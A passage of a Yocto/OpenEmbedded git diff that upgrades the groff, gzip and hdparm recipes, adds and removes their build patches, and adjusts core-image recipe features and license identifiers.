+-doc/meintro_fr.ps: doc/meintro_fr.me preconv
++doc/meintro_fr.ps: doc/meintro_fr.me preconv tbl
+ $(GROFF_V)$(MKDIR_P) `dirname $@` \
+ && $(DOC_GROFF) -K utf8 -t -Tps -me -mfr $< >$@
+
diff --git a/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch b/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch
new file mode 100644
index 0000000000..23992576f9
--- /dev/null
+++ b/meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch
@@ -0,0 +1,39 @@
+From eb16276c3e2e34aa2e57f6a0e68554657b90cd28 Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Sat, 11 May 2019 17:06:29 +0800
+Subject: [PATCH] groff searchs fonts which are provided by ghostscript on
+ build host. It causes non-determinism issue. So not search font dirs on host.
+
+Upstream-Status: Inappropriate [cross build specific]
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+Rebase to 1.22.4
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
+---
+ font/devpdf/Foundry.in | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/font/devpdf/Foundry.in b/font/devpdf/Foundry.in
+index e5aba65..5441734 100644
+--- a/font/devpdf/Foundry.in
++++ b/font/devpdf/Foundry.in
+@@ -20,7 +20,7 @@
+
+ #=======================================================================
+ #Foundry|Name|Search path
+-foundry||@urwfontsdir@:(gs):/usr/share/fonts/type1/gsfonts:/usr/share/fonts/default/Type1:/usr/share/fonts/default/Type1/adobestd35:/usr/share/fonts/type1/urw-base35:/opt/local/share/fonts/urw-fonts:/usr/local/share/fonts/ghostscript
++foundry||(gs)
+
+ # Enable the font description files for grops (generated from Adobe
+ # foundry font files) to be used with gropdf. afmtodit must not be
+@@ -72,7 +72,7 @@ EURO|N||||*../devps/freeeuro.pfa
+ # URW fonts are typically shipped with Ghostscript, but can be replaced.
+
+ #Foundry|Name|Search path
+-foundry|U|@urwfontsdir@:/usr/share/fonts/type1/gsfonts:/usr/share/fonts/default/Type1:/usr/share/fonts/default/Type1/adobestd35:/usr/share/fonts/type1/urw-base35:/opt/local/share/fonts/urw-fonts:/usr/local/share/fonts/ghostscript:(gs)
++foundry|U|(gs)
+
+ # Define flags for afmtodit.
+
diff --git a/meta/recipes-extended/groff/groff-1.22.3/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/groff/groff-1.22.3/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index b61b432818..0000000000
--- a/meta/recipes-extended/groff/groff-1.22.3/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: groff-1.22.3/src/libs/gnulib/lib/Makefile.am
-===================================================================
---- groff-1.22.3.orig/src/libs/gnulib/lib/Makefile.am
-+++ groff-1.22.3/src/libs/gnulib/lib/Makefile.am
-@@ -113,7 +113,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
diff --git a/meta/recipes-extended/groff/groff-1.22.3/0001-replace-perl-w-with-use-warnings.patch b/meta/recipes-extended/groff/groff-1.22.3/0001-replace-perl-w-with-use-warnings.patch
deleted file mode 100644
index f1db5b0653..0000000000
--- a/meta/recipes-extended/groff/groff-1.22.3/0001-replace-perl-w-with-use-warnings.patch
+++ /dev/null
@@ -1,102 +0,0 @@
-From 5b574542070db286c89b3827e8f15ed4b3b39034 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Thu, 6 Apr 2017 01:46:00 -0700
-Subject: [PATCH] replace "perl -w" with "use warnings"
-
-The shebang's max length is usually 128 as defined in
-/usr/include/linux/binfmts.h:
- #define BINPRM_BUF_SIZE 128
-
-There would be errors when @PERL@ is longer than 128, use
-'/usr/bin/env perl' can fix the problem, but '/usr/bin/env perl -w'
-doesn't work:
-
-/usr/bin/env: perl -w: No such file or directory
-
-So replace "perl -w" with "use warnings" to make it work.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- font/devpdf/util/BuildFoundries.pl | 3 ++-
- src/devices/gropdf/gropdf.pl | 3 ++-
- src/devices/gropdf/pdfmom.pl | 3 ++-
- src/utils/afmtodit/afmtodit.pl | 3 ++-
- 4 files changed, 8 insertions(+), 4 deletions(-)
-
-diff --git a/font/devpdf/util/BuildFoundries.pl b/font/devpdf/util/BuildFoundries.pl
-index 39f2f0d..a2bfd8e 100644
---- a/font/devpdf/util/BuildFoundries.pl
-+++ b/font/devpdf/util/BuildFoundries.pl
-@@ -1,4 +1,4 @@
--#!/usr/bin/perl -w
-+#!/usr/bin/perl
- #
- # BuildFoundries : Given a Foundry file generate groff and download files
- # Deri James : Monday 07 Feb 2011
-@@ -22,6 +22,7 @@
- # along with this program. If not, see <http://www.gnu.org/licenses/>.
-
- use strict;
-+use warnings;
-
- my $where=shift||'';
- my $devps=shift||'../devps';
-diff --git a/src/devices/gropdf/gropdf.pl b/src/devices/gropdf/gropdf.pl
-index 035d123..b933b32 100644
---- a/src/devices/gropdf/gropdf.pl
-+++ b/src/devices/gropdf/gropdf.pl
-@@ -1,4 +1,4 @@
--#!@PERL@ -w
-+#!@PERL@
- #
- # gropdf : PDF post processor for groff
- #
-@@ -21,6 +21,7 @@
- # along with this program. If not, see <http://www.gnu.org/licenses/>.
-
- use strict;
-+use warnings;
- use Getopt::Long qw(:config bundling);
- use Compress::Zlib;
-
-diff --git a/src/devices/gropdf/pdfmom.pl b/src/devices/gropdf/pdfmom.pl
-index beec820..4b46ea4 100644
---- a/src/devices/gropdf/pdfmom.pl
-+++ b/src/devices/gropdf/pdfmom.pl
-@@ -1,4 +1,4 @@
--#!@PERL@ -w
-+#!@PERL@
- #
- # pdfmom : Frontend to run groff -mom to produce PDFs
- # Deri James : Friday 16 Mar 2012
-@@ -24,6 +24,7 @@
- # along with this program. If not, see <http://www.gnu.org/licenses/>.
-
- use strict;
-+use warnings;
- use File::Temp qw/tempfile/;
- my @cmd;
- my $dev='pdf';
-diff --git a/src/utils/afmtodit/afmtodit.pl b/src/utils/afmtodit/afmtodit.pl
-index 4f2ce83..5c078ff 100644
---- a/src/utils/afmtodit/afmtodit.pl
-+++ b/src/utils/afmtodit/afmtodit.pl
-@@ -1,4 +1,4 @@
--#! /usr/bin/perl -w
-+#! /usr/bin/perl
- # -*- Perl -*-
- # Copyright (C) 1989-2014 Free Software Foundation, Inc.
- # Written by James Clark (jjc@jclark.com)
-@@ -19,6 +19,7 @@
- # along with this program. If not, see <http://www.gnu.org/licenses/>.
-
- use strict;
-+use warnings;
-
- @afmtodit.tables@
-
---
-2.10.2
-
diff --git a/meta/recipes-extended/groff/groff-1.22.3/groff-1.22.2-correct-man.local-install-path.patch b/meta/recipes-extended/groff/groff-1.22.3/groff-1.22.2-correct-man.local-install-path.patch
deleted file mode 100644
index c73328a186..0000000000
--- a/meta/recipes-extended/groff/groff-1.22.3/groff-1.22.2-correct-man.local-install-path.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-Correct the install path of man.local to fix following error:
- /yocto/build/tmp/sysroots/x86_64-linux/usr/share/groff/1.22.2/tmac/an-old.tmac:690: warning: can't find macro file `man.local'
-
-Signed-off-by: Zhenhua Luo <zhenhua.luo@freescale.com>
-Upstream-Status: Pending
-
-diff --git a/tmac/Makefile.sub b/tmac/Makefile.sub
-index 1506232..f1468c5 100644
---- a/tmac/Makefile.sub
-+++ b/tmac/Makefile.sub
-@@ -121,9 +121,9 @@ install_data: $(NORMALFILES) $(SPECIALFILES) man.local \
- $(RM) $(DESTDIR)$(mdocdir)/$$f; \
- $(INSTALL_DATA) $$f-s $(DESTDIR)$(mdocdir)/$$f; \
- done
-- -test -f $(DESTDIR)$(localtmacdir)/man.local \
-+ -test -f $(DESTDIR)$(tmacdir)/man.local \
- || $(INSTALL_DATA) $(srcdir)/man.local \
-- $(DESTDIR)$(localtmacdir)/man.local
-+ $(DESTDIR)$(tmacdir)/man.local
- -test -f $(DESTDIR)$(localtmacdir)/mdoc.local \
- || $(INSTALL_DATA) mdoc.local-s $(DESTDIR)$(localtmacdir)/mdoc.local
-
-@@ -164,9 +164,9 @@ uninstall_sub:
- $(RM) $(DESTDIR)$(tmacdir)/$(tmac_s_prefix)s.tmac
- $(RM) $(DESTDIR)$(tmacdir)/$(tmac_an_prefix)an.tmac
- $(RM) $(DESTDIR)$(tmacdir)/www.tmac
-- -if cmp -s $(DESTDIR)$(localtmacdir)/man.local \
-+ -if cmp -s $(DESTDIR)$(tmacdir)/man.local \
- $(srcdir)/man.local; then \
-- $(RM) $(DESTDIR)$(localtmacdir)/man.local; \
-+ $(RM) $(DESTDIR)$(tmacdir)/man.local; \
- fi
- -if cmp -s $(DESTDIR)$(localtmacdir)/mdoc.local \
- $(srcdir)/mdoc.local; then \
diff --git a/meta/recipes-extended/groff/groff_1.22.3.bb b/meta/recipes-extended/groff/groff_1.22.3.bb
deleted file mode 100644
index 7472f59825..0000000000
--- a/meta/recipes-extended/groff/groff_1.22.3.bb
+++ /dev/null
@@ -1,84 +0,0 @@
-SUMMARY = "GNU Troff software"
-DESCRIPTION = "The groff (GNU troff) software is a typesetting package which reads plain text mixed with \
-formatting commands and produces formatted output."
-SECTION = "base"
-HOMEPAGE = "http://www.gnu.org/software/groff/"
-LICENSE = "GPLv3"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "${GNU_MIRROR}/groff/groff-${PV}.tar.gz \
- file://groff-1.22.2-correct-man.local-install-path.patch \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- file://0001-replace-perl-w-with-use-warnings.patch \
-"
-
-SRC_URI[md5sum] = "cc825fa64bc7306a885f2fb2268d3ec5"
-SRC_URI[sha256sum] = "3a48a9d6c97750bfbd535feeb5be0111db6406ddb7bb79fc680809cda6d828a5"
-
-DEPENDS = "groff-native"
-DEPENDS_class-native = ""
-RDEPENDS_${PN} += "perl sed"
-
-inherit autotools texinfo
-
-EXTRA_OECONF = "--without-x"
-PARALLEL_MAKE = ""
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
-
-do_configure_prepend() {
- if [ "${BUILD_SYS}" != "${HOST_SYS}" ]; then
- sed -i \
- -e '/^GROFFBIN=/s:=.*:=${STAGING_BINDIR_NATIVE}/groff:' \
- -e '/^TROFFBIN=/s:=.*:=${STAGING_BINDIR_NATIVE}/troff:' \
- -e '/^GROFF_BIN_PATH=/s:=.*:=${STAGING_BINDIR_NATIVE}:' \
- -e '/^GROFF_BIN_DIR=/s:=.*:=${STAGING_BINDIR_NATIVE}:' \
- ${S}/contrib/*/Makefile.sub \
- ${S}/doc/Makefile.in \
- ${S}/doc/Makefile.sub
- fi
-}
-
-do_configure_append() {
- # generate gnulib configure script
- olddir=`pwd`
- cd ${S}/src/libs/gnulib/
- ACLOCAL="$ACLOCAL" autoreconf -Wcross --verbose --install --force ${EXTRA_AUTORECONF} $acpaths || die "autoreconf execution failed."
- cd ${olddir}
-}
-
-do_install_append() {
- # Some distros have both /bin/perl and /usr/bin/perl, but we set perl location
- # for target as /usr/bin/perl, so fix it to /usr/bin/perl.
- for i in afmtodit mmroff gropdf pdfmom grog; do
- if [ -f ${D}${bindir}/$i ]; then
- sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/$i
- fi
- done
- if [ -e ${D}${libdir}/charset.alias ]; then
- rm -rf ${D}${libdir}/charset.alias
- fi
-
- # awk is located at /usr/bin/, not /bin/
- SPECIAL_AWK=`find ${D} -name special.awk`
- if [ -f ${SPECIAL_AWK} ]; then
- sed -i -e 's:#!.*awk:#! ${USRBINPATH}/awk:' ${SPECIAL_AWK}
- fi
-
- # not ship /usr/bin/glilypond and its releated files in embedded target system
- rm -rf ${D}${bindir}/glilypond
- rm -rf ${D}${libdir}/groff/glilypond
- rm -rf ${D}${mandir}/man1/glilypond*
-}
-
-do_install_append_class-native() {
- create_cmdline_wrapper ${D}/${bindir}/groff \
- -F${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/font \
- -M${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/tmac
-}
-
-FILES_${PN} += "${libdir}/${BPN}/site-tmac \
- ${libdir}/${BPN}/groffer/"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/groff/groff_1.23.0.bb b/meta/recipes-extended/groff/groff_1.23.0.bb
new file mode 100644
index 0000000000..0fc4f831d8
--- /dev/null
+++ b/meta/recipes-extended/groff/groff_1.23.0.bb
@@ -0,0 +1,78 @@
+SUMMARY = "GNU Troff software"
+DESCRIPTION = "The groff (GNU troff) software is a typesetting package which reads plain text mixed with \
+formatting commands and produces formatted output."
+SECTION = "base"
+HOMEPAGE = "http://www.gnu.org/software/groff/"
+LICENSE = "GPL-3.0-only"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+SRC_URI = "${GNU_MIRROR}/groff/groff-${PV}.tar.gz \
+ file://groff-not-search-fonts-on-build-host.patch \
+ file://0001-Make-manpages-mulitlib-identical.patch \
+ file://0001-build-Fix-Savannah-64681-webpage.ps-deps.patch \
+ file://0001-build-meintro_fr.ps-depends-on-tbl.patch \
+ "
+
+SRC_URI[sha256sum] = "6b9757f592b7518b4902eb6af7e54570bdccba37a871fddb2d30ae3863511c13"
+
+DEPENDS = "bison-native groff-native"
+RDEPENDS:${PN} += "perl sed"
+
+inherit autotools-brokensep texinfo multilib_script pkgconfig
+
+MULTILIB_SCRIPTS = "${PN}:${bindir}/gpinyin ${PN}:${bindir}/grog"
+
+EXTRA_OECONF = "--without-x --with-urw-fonts-dir=/completely/bogus/dir/"
+EXTRA_OEMAKE:class-target = "GROFFBIN=groff GROFF_BIN_PATH=${STAGING_BINDIR_NATIVE}"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl' ac_cv_path_BASH_PROG='no' PAGE=A4"
+
+# Delete these generated files since we depend on bison-native
+# and regenerate them. Do it deterministically (always).
+do_configure:prepend() {
+ rm -f ${S}/src/preproc/eqn/eqn.cpp
+ rm -f ${S}/src/preproc/eqn/eqn.hpp
+}
+
+do_install:append() {
+ # Some distros have both /bin/perl and /usr/bin/perl, but we set perl location
+ # for target as /usr/bin/perl, so fix it to /usr/bin/perl.
+ for i in afmtodit mmroff gropdf pdfmom grog; do
+ if [ -f ${D}${bindir}/$i ]; then
+ sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/$i
+ fi
+ done
+ if [ -e ${D}${libdir}/charset.alias ]; then
+ rm -rf ${D}${libdir}/charset.alias
+ fi
+
+ # awk is located at /usr/bin/, not /bin/
+ SPECIAL_AWK=`find ${D} -name special.awk`
+ if [ -f ${SPECIAL_AWK} ]; then
+ sed -i -e 's:#!.*awk:#! ${USRBINPATH}/awk:' ${SPECIAL_AWK}
+ fi
+
+ # not ship /usr/bin/glilypond and its releated files in embedded target system
+ rm -rf ${D}${bindir}/glilypond
+ rm -rf ${D}${libdir}/groff/glilypond
+ rm -rf ${D}${mandir}/man1/glilypond*
+
+ # not ship /usr/bin/grap2graph and its releated man files
+ rm -rf ${D}${bindir}/grap2graph
+ rm -rf ${D}${mandir}/man1/grap2graph*
+
+ # strip hosttool path out of generated files
+ sed -i -e 's:${HOSTTOOLS_DIR}/::g' ${D}${docdir}/${BP}/examples/hdtbl/*.roff
+}
+
+do_install:append:class-native() {
+ create_cmdline_wrapper ${D}/${bindir}/groff \
+ -F${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/font \
+ -M${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/tmac
+}
+
+FILES:${PN} += "${libdir}/${BPN}/site-tmac \
+ ${libdir}/${BPN}/groffer/"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/gzip/files/0001-gzip-port-zdiff-zless-to-Busybox.patch b/meta/recipes-extended/gzip/files/0001-gzip-port-zdiff-zless-to-Busybox.patch
deleted file mode 100644
index 20d5a19f76..0000000000
--- a/meta/recipes-extended/gzip/files/0001-gzip-port-zdiff-zless-to-Busybox.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-From 5f712621829ed81a758077431226a86df37fbc3b Mon Sep 17 00:00:00 2001
-From: Denys Zagorui <denys.zagorui@globallogic.com>
-Date: Thu, 8 Jun 2017 16:05:50 +0300
-Subject: [PATCH] gzip: port zdiff, zless to Busybox
-
-Problem reported by Denys Zagorui (Bug#26088).
-* tests/zdiff: Check that diff uses POSIX-format output.
-* zless.in (less_version): Don't exit merely because 'less -V'
-fails; instead, assume 'less' is compatible with an old version of
-the original 'less'. Busybox 'less -V' fails, but apparently its
-'less' works anyway somehow.
-
-Signed-off-by: Denys Zagorui <denys.zagorui@globallogic.com>
-
-Upstream-Status: Accepted
----
- tests/zdiff | 4 +++-
- zless.in | 2 +-
- 2 files changed, 4 insertions(+), 2 deletions(-)
-
-diff --git a/tests/zdiff b/tests/zdiff
-index 0bb7c7d..9cd4fd4 100755
---- a/tests/zdiff
-+++ b/tests/zdiff
-@@ -22,7 +22,6 @@
-
- echo a > a || framework_failure_
- echo b > b || framework_failure_
--gzip a b || framework_failure_
-
- cat <<EOF > exp
- 1c1
-@@ -31,7 +30,10 @@ cat <<EOF > exp
- > b
- EOF
-
-+diff a b | diff exp - || skip_ "diff output format is incompatible with POSIX"
-+
- fail=0
-+gzip a b || fail=1
- zdiff a.gz b.gz > out 2>&1
- test $? = 1 || fail=1
-
-diff --git a/zless.in b/zless.in
-index e634af6..9759ae6 100644
---- a/zless.in
-+++ b/zless.in
-@@ -47,7 +47,7 @@ if test "${LESSMETACHARS+set}" != set; then
- export LESSMETACHARS
- fi
-
--less_version=`less -V` || exit
-+less_version=`less -V 2>/dev/null`
- case $less_version in
- less' '45[1-9]* | \
- less' '4[6-9][0-9]* | \
---
-1.9.1
-
diff --git a/meta/recipes-extended/gzip/gzip-1.8/wrong-path-fix.patch b/meta/recipes-extended/gzip/gzip-1.13/wrong-path-fix.patch
index 4dc10002ed..7f9e249de8 100644
--- a/meta/recipes-extended/gzip/gzip-1.8/wrong-path-fix.patch
+++ b/meta/recipes-extended/gzip/gzip-1.13/wrong-path-fix.patch
@@ -13,17 +13,24 @@ Signed-off-by: Ming Liu <ming.liu@windriver.com>
Upstream-Status: Pending
-Index: gzip-1.8/Makefile.am
-===================================================================
---- gzip-1.8.orig/Makefile.am
-+++ gzip-1.8/Makefile.am
-@@ -81,8 +81,7 @@ gzip.doc.gz: gzip.doc $(bin_PROGRAMS)
- SUFFIXES = .in
+---
+ Makefile.am | 3 +--
+ 1 file changed, 1 insertion(+), 2 deletions(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index 4f51b61..80a5ddf 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -93,8 +93,7 @@ SUFFIXES = .in
.in:
- $(AM_V_GEN)sed \
+ $(AM_V_GEN)rm -f $@-t $@ \
+ && sed \
- -e 's|/bin/sh|$(SHELL)|g' \
- -e 's|[@]GREP@|$(GREP)|g' \
+ -e 's|[@]GREP@|$(base_bindir)/grep|g' \
- -e 's|[@]VERSION@|$(VERSION)|g' \
- $(srcdir)/$@.in >$@-t \
- && chmod a+x $@-t \
+ -e "s|'gzip'|$(GZIP_TRANSFORMED)|g" \
+ -e "s|'zdiff'|$(ZDIFF_TRANSFORMED)|g" \
+ -e "s|'zgrep'|$(ZGREP_TRANSFORMED)|g" \
+--
+2.7.4
+
diff --git a/meta/recipes-extended/gzip/gzip.inc b/meta/recipes-extended/gzip/gzip.inc
index 04f8f95dd5..62b3e2f4f9 100644
--- a/meta/recipes-extended/gzip/gzip.inc
+++ b/meta/recipes-extended/gzip/gzip.inc
@@ -3,15 +3,15 @@ DESCRIPTION = "GNU Gzip is a popular data compression program originally written
project. Mark Adler wrote the decompression part"
HOMEPAGE = "http://www.gnu.org/software/gzip/"
SECTION = "console/utils"
-# change to GPLv3+ in 2007/07. Previous GPLv2 version is 1.3.12
inherit autotools texinfo
export DEFS="NO_ASM"
-EXTRA_OEMAKE_class-target = "GREP=${base_bindir}/grep"
-EXTRA_OECONF_append_libc-musl = " gl_cv_func_fflush_stdin=yes "
+EXTRA_OEMAKE:class-target = "GREP=${base_bindir}/grep"
+EXTRA_OEMAKE:append:class-nativesdk = " GREP=grep"
+EXTRA_OECONF:append:libc-musl = " gl_cv_func_fflush_stdin=yes "
-do_install_append () {
+do_install:append () {
if [ "${base_bindir}" != "${bindir}" ]; then
# Rename and move files into /bin (FHS), which is typical place for gzip
install -d ${D}${base_bindir}
@@ -25,7 +25,7 @@ do_install_append () {
inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "gunzip gzip zcat"
+ALTERNATIVE:${PN} = "gunzip gzip zcat"
ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
diff --git a/meta/recipes-extended/gzip/gzip_1.8.bb b/meta/recipes-extended/gzip/gzip_1.13.bb
index d0932071c9..fd846b30a5 100644
--- a/meta/recipes-extended/gzip/gzip_1.8.bb
+++ b/meta/recipes-extended/gzip/gzip_1.13.bb
@@ -1,18 +1,22 @@
require gzip.inc
-LICENSE = "GPLv3+"
+# change to GPL-3.0-or-later in 2007/07. Previous GPL-2.0-or-later version is
+# 1.3.12
+LICENSE = "GPL-3.0-or-later"
SRC_URI = "${GNU_MIRROR}/gzip/${BP}.tar.gz \
- file://0001-gzip-port-zdiff-zless-to-Busybox.patch \
- file://run-ptest"
-SRC_URI_append_class-target = " file://wrong-path-fix.patch"
+ file://run-ptest \
+ "
+SRC_URI:append:class-target = " file://wrong-path-fix.patch"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
file://gzip.h;beginline=8;endline=20;md5=6e47caaa630e0c8bf9f1bc8d94a8ed0e"
-PROVIDES_append_class-native = " gzip-replacement-native"
+PROVIDES:append:class-native = " gzip-replacement-native"
-BBCLASSEXTEND = "native"
+RDEPENDS:${PN}-ptest += "make perl grep diffutils"
+
+BBCLASSEXTEND = "native nativesdk"
inherit ptest
@@ -34,6 +38,4 @@ do_install_ptest() {
${B}/tests/Makefile > ${D}${PTEST_PATH}/src/tests/Makefile
}
-SRC_URI[md5sum] = "732553152814b22dc35aa0267df5286c"
-SRC_URI[sha256sum] = "1ff7aedb3d66a0d73f442f6261e4b3860df6fd6c94025c2cb31a202c9c60fe0e"
-
+SRC_URI[sha256sum] = "20fc818aeebae87cdbf209d35141ad9d3cf312b35a5e6be61bfcfbf9eddd212a"
diff --git a/meta/recipes-extended/hdparm/hdparm/wiper.sh-fix-stat-path.patch b/meta/recipes-extended/hdparm/hdparm/wiper.sh-fix-stat-path.patch
new file mode 100644
index 0000000000..4af1b617ed
--- /dev/null
+++ b/meta/recipes-extended/hdparm/hdparm/wiper.sh-fix-stat-path.patch
@@ -0,0 +1,38 @@
+From e233006ee212109d2a1401dac37a9a851cc493d8 Mon Sep 17 00:00:00 2001
+From: Yi Zhao <yi.zhao@windriver.com>
+Date: Thu, 14 Dec 2017 15:23:47 +0800
+Subject: [PATCH] wiper.sh: fix stat path
+
+Fix the stat path for OE.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
+---
+ wiper/wiper.sh | 3 +--
+ 1 file changed, 1 insertion(+), 2 deletions(-)
+
+diff --git a/wiper/wiper.sh b/wiper/wiper.sh
+index 79eddc8..9ef2840 100755
+--- a/wiper/wiper.sh
++++ b/wiper/wiper.sh
+@@ -97,7 +97,6 @@ function find_prog(){
+ hash -r ## Refresh bash's cached PATH entries
+ HDPARM=`find_prog /sbin/hdparm` || exit 1
+ FIND=`find_prog /usr/bin/find` || exit 1
+-STAT=`find_prog /usr/bin/stat` || exit 1
+ GAWK=`find_prog /usr/bin/gawk` || exit 1
+ BLKID=`find_prog /sbin/blkid` || exit 1
+ GREP=`find_prog /bin/grep` || exit 1
+@@ -105,7 +104,7 @@ ID=`find_prog /usr/bin/id` || exit 1
+ LS=`find_prog /bin/ls` || exit 1
+ DF=`find_prog /bin/df` || exit 1
+ RM=`find_prog /bin/rm` || exit 1
+-STAT=`find_prog /usr/bin/stat` || exit 1
++STAT=`find_prog /bin/stat` || exit 1
+
+ [ $verbose -gt 1 ] && HDPARM="$HDPARM --verbose"
+
+--
+2.7.4
+
diff --git a/meta/recipes-extended/hdparm/hdparm_9.52.bb b/meta/recipes-extended/hdparm/hdparm_9.65.bb
index 49fdc941a5..d5e6ab6065 100644
--- a/meta/recipes-extended/hdparm/hdparm_9.52.bb
+++ b/meta/recipes-extended/hdparm/hdparm_9.65.bb
@@ -4,10 +4,11 @@ DESCRIPTION = "hdparm is a Linux shell utility for viewing \
and manipulating various IDE drive and driver parameters."
SECTION = "console/utils"
-LICENSE = "BSD & GPLv2"
-LICENSE_${PN} = "BSD"
-LICENSE_${PN}-dbg = "BSD"
-LICENSE_wiper = "GPLv2"
+LICENSE = "BSD-2-Clause & GPL-2.0-only & hdparm"
+LICENSE:${PN} = "BSD-2-Clause & hdparm"
+LICENSE:${PN}-dbg = "BSD-2-Clause & hdparm"
+LICENSE:wiper = "GPL-2.0-only"
+NO_GENERIC_LICENSE[hdparm] = "LICENSE.TXT"
LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \
file://debian/copyright;md5=a82d7ba3ade9e8ec902749db98c592f3 \
@@ -17,20 +18,21 @@ LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \
PACKAGES =+ "wiper"
-FILES_wiper = "${bindir}/wiper.sh"
+FILES:wiper = "${bindir}/wiper.sh"
-RDEPENDS_wiper = "bash gawk stat"
+RDEPENDS:wiper = "bash gawk coreutils"
-SRC_URI = "${SOURCEFORGE_MIRROR}/hdparm/${BP}.tar.gz"
+SRC_URI = "${SOURCEFORGE_MIRROR}/hdparm/${BP}.tar.gz \
+ file://wiper.sh-fix-stat-path.patch \
+ "
-SRC_URI[md5sum] = "410539d0bf3cc247181594581edbfb53"
-SRC_URI[sha256sum] = "c3429cd423e271fa565bf584598fd751dd2e773bb7199a592b06b5a61cec4fb6"
+SRC_URI[sha256sum] = "d14929f910d060932e717e9382425d47c2e7144235a53713d55a94f7de535a4b"
EXTRA_OEMAKE = 'STRIP="echo" LDFLAGS="${LDFLAGS}"'
inherit update-alternatives
-ALTERNATIVE_${PN} = "hdparm"
+ALTERNATIVE:${PN} = "hdparm"
ALTERNATIVE_LINK_NAME[hdparm] = "${base_sbindir}/hdparm"
ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/images/core-image-full-cmdline.bb b/meta/recipes-extended/images/core-image-full-cmdline.bb
index 4d69073d9d..b034cd0aeb 100644
--- a/meta/recipes-extended/images/core-image-full-cmdline.bb
+++ b/meta/recipes-extended/images/core-image-full-cmdline.bb
@@ -1,7 +1,7 @@
-DESCRIPTION = "A console-only image with more full-featured Linux system \
+SUMMARY = "A console-only image with more full-featured Linux system \
functionality installed."
-IMAGE_FEATURES += "splash ssh-server-openssh"
+IMAGE_FEATURES += "splash ssh-server-openssh package-management"
IMAGE_INSTALL = "\
packagegroup-core-boot \
diff --git a/meta/recipes-extended/images/core-image-kernel-dev.bb b/meta/recipes-extended/images/core-image-kernel-dev.bb
index a40b3aa955..4018af7a3a 100644
--- a/meta/recipes-extended/images/core-image-kernel-dev.bb
+++ b/meta/recipes-extended/images/core-image-kernel-dev.bb
@@ -11,10 +11,13 @@ KERNEL_DEV_MODULE ?= "kernel-modules"
CORE_IMAGE_EXTRA_INSTALL += "${KERNEL_DEV_MODULE} \
${KERNEL_DEV_UTILS} \
${KERNEL_DEV_TOOLS} \
+ systemtap \
"
# We need extra space for things like kernel builds, etc.
-IMAGE_ROOTFS_EXTRA_SPACE_append = " + 3000000"
+IMAGE_ROOTFS_EXTRA_SPACE:append = " + 3000000"
# Let's define our own subset to test, we can later add a on-target kernel build even!
DEFAULT_TEST_SUITES = "ping ssh df connman syslog scp date parselogs"
+
+IMAGE_FEATURES += "tools-profile"
diff --git a/meta/recipes-extended/images/core-image-lsb-dev.bb b/meta/recipes-extended/images/core-image-lsb-dev.bb
deleted file mode 100644
index d2dc9e2b53..0000000000
